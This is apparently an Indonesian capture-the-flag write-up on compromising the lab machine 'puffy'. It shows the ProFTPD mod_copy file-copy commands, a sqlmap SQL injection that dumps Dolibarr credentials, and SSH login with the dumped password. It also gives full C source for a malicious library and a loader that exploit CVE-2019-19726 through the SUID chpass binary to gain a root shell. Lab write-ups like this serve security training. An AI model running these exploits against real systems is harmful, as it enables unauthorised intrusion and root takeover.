puffy

🎯 Target

- IP: `10.1.2.120`
- OS: Unix / OpenBSD
- Difficulty: Hard

```
22/tcp    open  ssh      syn-ack OpenSSH 7.5 (protocol 2.0)
| ssh-hostkey:
|   2048 33:c9:78:a4:a6:a1:a6:22:19:cf:25:28:6e:a5:39:c4 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXPFwP7n3O+G+aL2VY6IhovOANdF6go2YpRrkGXd5
|   256 01:c8:14:81:81:9a:b9:2d:ef:f4:49:c4:9e:68:57:ab (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBb/WD9
|   256 16:8e:0f:ff:aa:0a:3d:fc:a7:6a:a5:98:e9:0d:e9:46 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMswGTZ4ZBiYt5klkKwqXI36HL93481MZD42ILgqep6
80/tcp    open  http     syn-ack OpenBSD httpd (PHP 5.6.30)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp   open  ssl/http syn-ack OpenBSD httpd (PHP 5.6.30)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| ssl-cert: Subject: commonName=puffy.spenlab.local/organizationName=Puffy/stateO
| Issuer: commonName=puffy.spenlab.local/organizationName=Puffy/stateOrProvinceNa
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-09-30T01:54:40
| Not valid after:  2019-09-30T01:54:40
| MD5:   3774:73ed:5dd7:753d:357e:b27e:9d05:a631
| SHA-1: 73da:1265:97cd:6c0d:1415:1b1d:589e:0888:f642:c922
| -----BEGIN CERTIFICATE-----
| MIIDnDCCAoQCCQD0dURfNAPjDzANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMC
| SUQxFDASBgNVBAgMC0RLSSBKYWthcnRhMRAwDgYDVQQHDAdKYWthcnRhMQ4wDAYD
| VQQKDAVQdWZmeTEcMBoGA1UEAwwTcHVmZnkuc3BlbmxhYi5sb2NhbDEqMCgGCSqG
| SIb3DQEJARYbbWFkaXNvbkBwdWZmeS5zcGVubGFiLmxvY2FsMB4XDTE4MDkzMDAx
| NTQ0MFoXDTE5MDkzMDAxNTQ0MFowgY8xCzAJBgNVBAYTAklEMRQwEgYDVQQIDAtE
| S0kgSmFrYXJ0YTEQMA4GA1UEBwwHSmFrYXJ0YTEOMAwGA1UECgwFUHVmZnkxHDAa
| BgNVBAMME3B1ZmZ5LnNwZW5sYWIubG9jYWwxKjAoBgkqhkiG9w0BCQEWG21hZGlz
| b25AcHVmZnkuc3BlbmxhYi5sb2NhbDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
| AQoCggEBAKXrpcCQjFhak92GCryqkYpq2wUl1GnQCqXSA7PzmwAm2WnLqD3/lK6n
| RqG3CyfULXC0CIogMza+5lVViitIZnl6nVDg8Ys1VeMzWOGiTRdWNZ1BcRqn4NwG
| z/W/61x28PZdvUZLB+f92g3sXPIloah/L4XKXeu0E9UtUpjuIUxAp5AvZ1HXlmpC
| gH7GqStR464csqc1r8vq/ov23M33SYYQ6F9qkfbek828ztj5yBR6219KfF3r7IDI
| 4Q0jmwutAVi6mR9yFYy5E9x531k3CnplifTqDvzSRljA/0PxupHQxkKFkEZMrj8M
| 9khH567gfQJSzIucy3RwKRiTpPmYzzECAwEAATANBgkqhkiG9w0BAQsFAAOCAQEA
| WnFIZsQur8wSYfoPn2oBBjhgkoONjdgFNvBJiTM6n0FBLh25KSpgBa+fqNb1ac/W
```

```
| 8ik4HUTXZdwqjjlygR1Ie+4wOLQvvhTx0XmjnGCjf8SWjsrnDS7mjKZ8dNna1m9e
| cX2DLEJDxtDrOk9J4anmHEQbCufgn86PV2rhZVPXmhonCcMEFqoDw12tY2Vlb9wR
| 9wLqqPF5UuGGbKmUSyi3A4rm+6KE0KeNtzr1ayhwGQVqVsCh/9nP04dyVhg+n/R6
| YPOtG37yaMa2AKen00sMxibVi51Cx//y6kEN0BSqpq5Tv5eBfTD/ejMRxx5th8ht
| 2htihLuzIBteFVX4uagVDg==
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
| http-methods:
|_  Supported Methods: GET HEAD OPTIONS
21211/tcp open  ftp      syn-ack ProFTPD 1.3.5
Service Info: OS: Unix
```

Analisis:

- Versi **PHP 5.6** sudah usang
- FTP menggunakan **ProFTPD 1.3.5**, yang diketahui memiliki kerentanan
- Sertifikat SSL menunjukkan domain internal: `puffy.spenlab.local`

2. 🌐 Web Enumeration

Akses ke layanan HTTP/HTTPS tidak menampilkan konten signifikan, namun ditemukan direktori:

/erp

Aplikasi yang digunakan:

- **Dolibarr 7.0.0**

Analisis:

Versi ini diketahui memiliki celah keamanan, termasuk SQL Injection.

3. 🔓 FTP Exploitation

Target:

- CVE-2015-3306

Deskripsi:

Kerentanan ini memungkinkan penyalinan file tanpa autentikasi melalui modul `mod_copy`.

Pengujian manual:

```
telnet 10.1.2.120 21211
SITE CPFR /etc/passwd
SITE CPTO /var/www/htdocs/test.txt
```

Hasil:

- Berhasil menyalin file ke web root
- Namun tidak ditemukan informasi kredensial yang berguna

Kesimpulan:

Kerentanan ini terkonfirmasi, tetapi tidak memberikan akses langsung ke sistem → perlu pivot ke metode lain

4. 🔐 Default Credential

Pengujian login pada aplikasi Dolibarr:

```
Username: admin
Password: password
```

Hasil:

Login berhasil

Analisis:

Penggunaan kredensial default membuka akses ke sistem backend

5. 💉 SQL Injection

Endpoint target:

```
http://10.1.2.120/erp/adherents/list.php?statut=1
```

Analisis kode:

```
$statut = GETPOST("statut");
$sql .= " AND d.statut in (".$db->escape($statut).")";
```

Meskipun terdapat fungsi escape, implementasi tidak aman sehingga tetap memungkinkan injeksi SQL.

Eksploitasi menggunakan SQLMap

```
sqlmap -r puffy.txt --dbs --random-agent --technique BEUSTQ --batch --tamper=spac

### Hasil:

Database teridentifikasi:


- dolibarr
- mysql
- information_schema
- performance_schema
```

```
### Dump kredensial

sqlmap -r puffy.txt -D dolibarr -T llx_user --columns --dump

### Data yang diperoleh:

|Username|Password|
|---|---|
|admin|password|
|devops|devops_123|
```

6. 🔑 Akses SSH

Menggunakan kredensial:

```
ssh devops@10.1.2.120
Password:
devops_123
```

```
### Hasil:
Akses shell berhasil diperoleh
cat user.txt
```

7. 🧬 Privilege Escalation

Identifikasi sistem:

```
OpenBSD 6.1 (2017)

### Kerentanan:
- CVE-2019-19726
```

Deskripsi:

Bug pada dynamic loader memungkinkan manipulasi variabel environment `LD_LIBRARY_PATH`, sehingga library berbahaya dapat dimuat oleh binary SUID.

8. 🧨 Eksploitasi

Identifikasi Sistem

```
uname -a
Hasil:
OpenBSD 6.1 (2017)
```

Analisis

Versi ini rentan terhadap:

- CVE-2019-19726

🔍 Root Cause

Kerentanan berada pada fungsi:

```
_dl_getenv()
```

Dampak:

- Variabel environment `LD_LIBRARY_PATH` **tidak dibersihkan dengan benar**
- Dengan padding tertentu (mendekati `ARG_MAX`), validasi gagal
- Loader tetap menggunakan path attacker

👉 Artinya:
Kita bisa memaksa binary SUID untuk memuat library dari direktori yang kita kontrol

Identifikasi Target Binary

Tujuan: cari binary SUID yang load library eksternal

```
readelf -a /usr/bin/chpass | grep libutil
```

Hasil:

```
Shared library: [libutil.so.12.1]
```

👉 Insight:

- `chpass` adalah SUID root
- Menggunakan `libutil.so.12.1`
- Bisa kita hijack

Membuat Malicious Library

```
cat > /tmp/libutil.c << 'EOF'
#include <paths.h>
#include <unistd.h>

static void __attribute__ ((constructor)) _init (void) {
    if (setuid(0) != 0) _exit(__LINE__);
    if (setgid(0) != 0) _exit(__LINE__);
    char * const argv[] = { _PATH_KSHELL, "-c", "/bin/sh -p", NULL };
    execve(argv[0], argv, NULL);
```

```
    _exit(__LINE__);
}
EOF


Compile:

gcc -fpic -shared -s -o /tmp/libutil.so.12.1 /tmp/libutil.c
```

Penjelasan:

- Menggunakan constructor (`_init`) agar otomatis dieksekusi saat library diload
- Mengambil privilege root
- Spawn shell dengan `-p` (preserve privilege)

Membuat Exploit Loader

```
cat > /tmp/exploit.c << 'EOF'
#include <string.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <unistd.h>

int main(int argc, char * const * argv) {
    #define LLP "LD_LIBRARY_PATH=."
    static char llp[ARG_MAX - 128];

    memset(llp, ':', sizeof(llp)-1);
    memcpy(llp, LLP, sizeof(LLP)-1);

    char * const envp[] = { llp, "EDITOR=echo '#' >>", NULL };

    const struct rlimit data = { ARG_MAX * sizeof(char *), ARG_MAX * sizeof(char
    if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__);

    if (argc <= 1) _exit(__LINE__);

    argv += 1;
    execve(argv[0], argv, envp);
    _exit(__LINE__);
}
EOF

gcc -s /tmp/exploit.c -o /tmp/exploit

cd /tmp
./exploit /usr/bin/chpass
```

```
cat /root/root.txt
074103b39**********
```